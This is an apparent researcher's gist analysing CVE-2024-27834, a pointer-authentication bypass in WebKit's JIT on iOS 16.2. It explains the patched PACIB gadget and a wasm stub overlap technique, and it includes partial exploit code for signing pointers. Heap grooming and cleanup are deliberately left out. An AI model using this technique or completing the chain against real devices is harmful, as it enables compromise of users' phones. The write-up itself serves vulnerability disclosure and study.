Skip to content

Instantly share code, notes, and snippets.

@WHW0x455
Last active February 12, 2026 23:41
Show Gist options
  • Select an option

  • Save WHW0x455/3c21930d916c74733e8701f397c5660d to your computer and use it in GitHub Desktop.

Select an option

Save WHW0x455/3c21930d916c74733e8701f397c5660d to your computer and use it in GitHub Desktop.
Bypass PAC in JIT - CVE-2024-27834

Bypass PAC in JIT

The code snippets and conceptual analysis presented in this document are based on iOS 16.2.

The bug was disclosed and patched after Pwn2Own 2024 and was assigned CVE-2024-27834. Details of the patch can be found in the WebKit repository.

Before reviewing how this bug was found and exploited, we can first examine the patch. The following part is the most relevant for the purposes of this analysis.

// Source/JavaScriptCore/jit/ThunkGenerators.cpp
-    PtrTag tempReturnPCTag = static_cast<PtrTag>(random());
-    jit.move(JSInterfaceJIT::TrustedImmPtr(tempReturnPCTag), extraTemp);
-    jit.tagPtr(extraTemp, GPRInfo::regT3);
+    // We don't want to pass a tag register to pacib because it could get hijacked to make a PAC bypass gadget so we use pacizb instead.
+    static_assert(NoPtrTag == static_cast<PtrTag>(0));
+    jit.tagPtr(NoPtrTag, GPRInfo::regT3);

The comment provided in the patch is explicit: because a tag register is supplied, tagPtr can be repurposed as a PAC bypass gadget.Readers familiar with WebKit will likely anticipate what follows from this point.

idea

In late 2023, I was doing a project about Safari on iOS 16 and needed a PAC bypass to bridge the next stage. The PAC bypass of Operation Triangulation had been patched in iOS 16.0.

At that time, JOP is still doable with:

  1. A PACIZA pointer that could be used to hijack control flow by pointer replacement.
  2. Many such pointers are available within the dyld shared cache.

The options available were either to find a new PAC bypass or to complete the next satge using a constrained JOP chain.

The JOP gadgets I found then were highly unstable, and I could not guarantee that all function pointers required for the next stage would be obtainable. Consequently, I prioritized the search for a PAC bypass.

My objective was clear. Existing PAC instructions in the memory had already been prioritized for hardening, whereas PAC instructions within the JIT remained less mitigated.

A similar approach was mentioned by Luca during his 2022 Hexacon talk, which reinforced the feasibility of this idea. The known constraint was JITCage. After evaluating the limitation, I concluded that exploring a PAC bypass in the JIT was worthwhile, or at least, interesting.

(BTW, I found that the screenshot of JSKit in GTIG's blog was interesting.)

By searching for tagPtr, I located instances of JIT-related PAC instructions in the WebKit codebase. One particular location proved interesting.

MacroAssemblerCodeRef<JITThunkPtrTag> arityFixupGenerator(VM& vm)
{
    ...
    PtrTag tempReturnPCTag = static_cast<PtrTag>(random());
    jit.move(JSInterfaceJIT::TrustedImmPtr(tempReturnPCTag), extraTemp);
    jit.tagPtr(extraTemp, GPRInfo::regT3);
    jit.storePtr(GPRInfo::regT3, JSInterfaceJIT::Address(GPRInfo::callFrameRegister, CallFrame::returnPCOffset()));
    ...
}

arityFixupGenerator emits a substantial number of JIT instructions. Among them, jit.tagPtr(extraTemp, GPRInfo::regT3); corresponds to the instruction PACIB X3, X5 in memory. If this PAC instruction can be hijacked and both X3 and X5 can be controlled, it provides an nice PACIB primitive.

exploit plan

I will not elaborate on the extensive implementation details here. A thorough discussion would require in-depth analysis of the source code and the JavaScriptCore.Framework, which would detract from the clarity of the exploitation strategy itself. Additionally, I do not intend for the information shared here to be misused.

Before outlining the exploitation plan, let's take a look into WebAssembly (wasm) within JSC, as this technique will be central to the subsequent discussion.

WebAssembly (wasm) is a stack-based virtual machine binary instruction format commonly supported by JavaScript engines. Developers may write WebAssembly programs directly using WAT (WebAssembly Text Format). For example:

(module
  (import "imports" "foo" 
    (func $foo (param i64 i64 i64 i64 i64 i64 i64 i64 i64 i64) (result i64)))
  (func $go (param $a f64) (param $b f64) (param $c f64) 
                 (param $d f64) (param $e f64) (param $f f64) 
                 (param $g f64) (param $h f64) (param $i f64) (param $j f64) (result f64)
      (i64.reinterpret_f64 (local.get $a))
      (i64.reinterpret_f64 (local.get $b))
      (i64.reinterpret_f64 (local.get $c))
      (i64.reinterpret_f64 (local.get $d))
      (i64.reinterpret_f64 (local.get $e))
      (i64.reinterpret_f64 (local.get $f))
      (i64.reinterpret_f64 (local.get $g))
      (i64.reinterpret_f64 (local.get $h))
      (i64.reinterpret_f64 (local.get $i))
      (i64.reinterpret_f64 (local.get $j))
    call $foo
    f64.reinterpret_i64
  )
  (export "go" (func $go))
)

This program is extremely simple: it accepts multiple parameters, invokes an imported function named foo.By compiling this program with the tools, the resulting WebAssembly binary can be obtained and invoked in JS.

let code = [0, 97, 115, 109, 1, 0, 0, 0, 1, 29, 2, 96, 10, 126, 126, 126, 126, 
        126, 126, 126, 126, 126, 126, 1, 126, 96, 10, 124, 124, 124, 124, 124, 
        124, 124, 124, 124, 124, 1, 124, 2, 15, 1, 7, 105, 109, 112, 111, 114, 
        116, 115, 3, 102, 111, 111, 0, 0, 3, 2, 1, 1, 7, 6, 1, 2, 103, 111, 0, 
        1, 10, 37, 1, 35, 0, 32, 0, 189, 32, 1, 189, 32, 2, 189, 32, 3, 189, 
        32, 4, 189, 32, 5, 189, 32, 6, 189, 32, 7, 189, 32, 8, 189, 32, 9, 189, 
        16, 0, 191, 11];
...
...
let wasm_module = new WebAssembly.Module(codeArray.buffer);
let wasm_instance = new WebAssembly.Instance(wasm_module, { imports: { foo: foo } });

What I actually want is the invocation of the imported function within this wasm program.

Referring to doWasmCall, when wasm calls an imported JavaScript function, the stub is obtained through instance->importFunctionInfo(functionIndex)->wasmToEmbedderStub. By attaching a debugger, two characteristics can be observed: when this stub is invoked, it adheres to the ARM64 calling convention, and the pointer from this stub to the JIT code is signed with PACIB.

Prior to invocation, an additional retagging occurs, replacing WasmEntryPtrTag with JSEntrySlowPathPtrTag for PAC signing.

#define WASM_CALL_RETURN(targetInstance, callTarget, callTargetTag) do { \
        WASM_RETURN_TWO((retagCodePtr<callTargetTag, JSEntrySlowPathPtrTag>(callTarget)), targetInstance); \
    } while (false)

inline SlowPathReturnType doWasmCall(Wasm::Instance* instance, unsigned functionIndex)
{
    ...
    WASM_CALL_RETURN(instance, codePtr.executableAddress(), WasmEntryPtrTag);
    ...
}

The corresponding code for retagging can be found in the shared cache:

loc_19B71DA00
MOV             X16, X21
MOV             X17, #0x24AD
AUTIB           X16, X17
MOV             X17, X16
XPACI           X17
CMP             X16, X17
B.EQ            loc_19B71DA20
...
MOV             X20, X16
...
loc_19B71DA28
MOV             W8, #0x7F72
PACIB           X20, X8
B               loc_19B71D9E8

If we can perform a PACIB signing, it is possible to replace the JIT code pointer of wasmToEmbedderStub, thereby obtaining a primitive for control flow hijacking.

Returning to the bug, assume that arbitrary read and write primitives have already been achieved within the WebContent process. The next question is how to leverage a PACIB instruction within the JIT region to construct a PACIB gadget.

With arbitrary read and write access inside the process, it is possible to modify libpas heap metadata to compromise the allocation of JIT memory. By determining the allocation order and size of JIT code blocks, their placement in memory can be controlled. This part is left as an exercise for the reader.

The core exploitation process consists of three primary steps.

Step 1: Construct the first wasm program, using the WAT code shown above. The imported JavaScript function simply returns its fourth argument. This step does not require control over JIT memory allocation. We refer to this wasm program as wasm_A.

    function foo(x0, x1, x2, x3, x4, x5, x6, x7, x8) {
        return x3;
    }
                                                                             
                                                                             
                                            JIT Memory                          
                  ┌───────────────────────────────────────────────────────────┐ 
                  │                                                           │ 
                  │                                                           │ 
                  │                            USED                           │ 
                  ┼───────────────────────────────────────────────────────────┼ 
                  │                                                           │ 
                  │                                                           │ 
                  │                                                           │ 
                  │                                                           │ 
                  │                                                           │ 
                  │                                                           │ 
                  │                                                           │ 
wasm_A stub ─────►│    pacibsp                                                │ 
                  │    stp    x29, x30, [sp, #-0x10]!                         │ 
                  │    mov    x29, sp                                         │ 
                  │    stur   xzr, [x29, #0x10]                               │ 
                  │    ...                                                    │ 
                  │    retab                                                  │ 
                  │                                                           │ 
                  │                                                           │ 
                  │                                                           │ 
                  │                                                           │ 
                  └───────────────────────────────────────────────────────────┘                                                         

Step 2: Using arbitrary memory read/write primitives in combination with repeated execution of a JavaScript function, trigger the invocation of arityFixupGenerator and control the corresponding JIT memory allocation address. By calculating the appropriate offset, the PACIB X3, X5 instruction can be positioned to land precisely at the location referenced by wasm_A’s wasmToEmbedderStub. As a result, the original code at wasmToEmbedderStub is overwritten and corrupted.

                                    JIT Memory            
                            ┌──────────────────────────────┐   
                            │                              │   
                            │                              │   
                            │             USED             │   
                            ┼──────────────────────────────┤   
 arityFixupGenerator ──────►│   pacibsp                    │   
                            │   ldur   x3, [x29, #0x8]     │   
                            │   ...                        │   
                            │                              │   
                            │                              │   
                            │                              │   
                            │   add    x5, x29, #0x10      │   
                wasm_A─────►│   pacib  x3, x5              │   
                            │   stur   x3, [x29, #0x8]     │   
                            │   retab                      │   
                            │                              │   
                            │                              │   
                            │                              │   
                            │                              │   
                            │                              │   
                            │                              │   
                            │                              │   
                            └──────────────────────────────┘                                        

Step 3: Construct a new wasm program similar to wasm_A, referred to as wasm_B. Arrange for wasm_B’s wasmToEmbedderStub to be placed at the address corresponding to wasm_A’s stub + 4, thereby skipping a single ARM64 instruction.What does this achieve? The code at wasm_A’s stub now consists of the injected PACIB X3, X5 instruction followed by the original stub instructions, roughly as follows:

                                                                   
                                         JIT Memory                
                            ┌──────────────────────────────────┐   
                            │                                  │   
                            │                                  │   
                            │                USED              │   
                            ┼──────────────────────────────────┤   
 arityFixupGenerator ──────►│   pacibsp                        │   
                            │   ldur   x3, [x29, #0x8]         │   
                            │   ...                            │   
                            │                                  │   
                            │                                  │   
                            │                                  │   
                            │   add    x5, x29, #0x10          │   
          wasm_A stub ─────►│   pacib  x3, x5                  │   
          wasm_B stub ─────►│   pacibsp                        │   
                            │   stp    x29, x30, [sp, #-0x10]! │   
                            │   mov    x29, sp                 │   
                            │   stur   xzr, [x29, #0x10]       │   
                            │   ...                            │   
                            │   retab                          │   
                            │                                  │   
                            │                                  │   
                            │                                  │   
                            └──────────────────────────────────┘   

wasm_A continues to function normally, except that an additional PACIB instruction is now inserted at the beginning of its stub. Meanwhile, the imported function foo returns its fourth argument, as intended.

In this manner, a usable PACIB gadget is obtained. By locating the signPointer function within dyld and using the gadget to produce a valid signature, the resulting signed pointer can be written back into wasmToEmbedderStub, thereby achieving a complete PAC bypass.

Many implementation details have been intentionally omitted from this description, including certain heap grooming techniques and the cleanup performed after exploitation.

Finally, we have things like this:

    let dyld4signPointerSigned = jit_pacib(
        0x0n,
        0x1111111n,
        0x22222n,
        dyld4signPointer, // X3
        0x44444n,
        wasmEntryPtrTag,  // X5
        0x666n,
        0x777n,
        0x888n
    );
    function callSignPointer(addr, loc, addrDiv, diversity, key) {
        write64(instance + SOME_SUPER_COOL_OFFSET, dyld4signPointerSigned);
        let local_loc = loc;
        let local_addrDiv = addrDiv;
        let local_diversity = diversity;
        if ((diversity & 0xffffffffffff0000n) != 0n) {
            // diversity is big, need to do sth
            local_addrDiv = 1n;
            local_diversity = diversity >> 48n; // diversity hold high 16 bit
            local_loc = (diversity << 16n) >> 16n; // loc hold low 48 bit
        }

        return d2i(
            wasm_instance.exports.go(
                i2d(addr),
                i2d(local_loc),
                i2d(local_addrDiv),
                i2d(local_diversity),
                i2d(key)
            )
        );
    }
    function pacia(ptr, tag) {
        return callSignPointer(ptr, 0n, 0n, tag, 0n);
    }
    function pacib(ptr, tag) {
        return callSignPointer(ptr, 0n, 0n, tag, 1n);
    }
    function pacda(ptr, tag) {
        return callSignPointer(ptr, 0n, 0n, tag, 2n);
    }
    function pacdb(ptr, tag) {
        return callSignPointer(ptr, 0n, 0n, tag, 3n);
    }
@WHW0x455
Copy link
Author

crash And crash report here

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment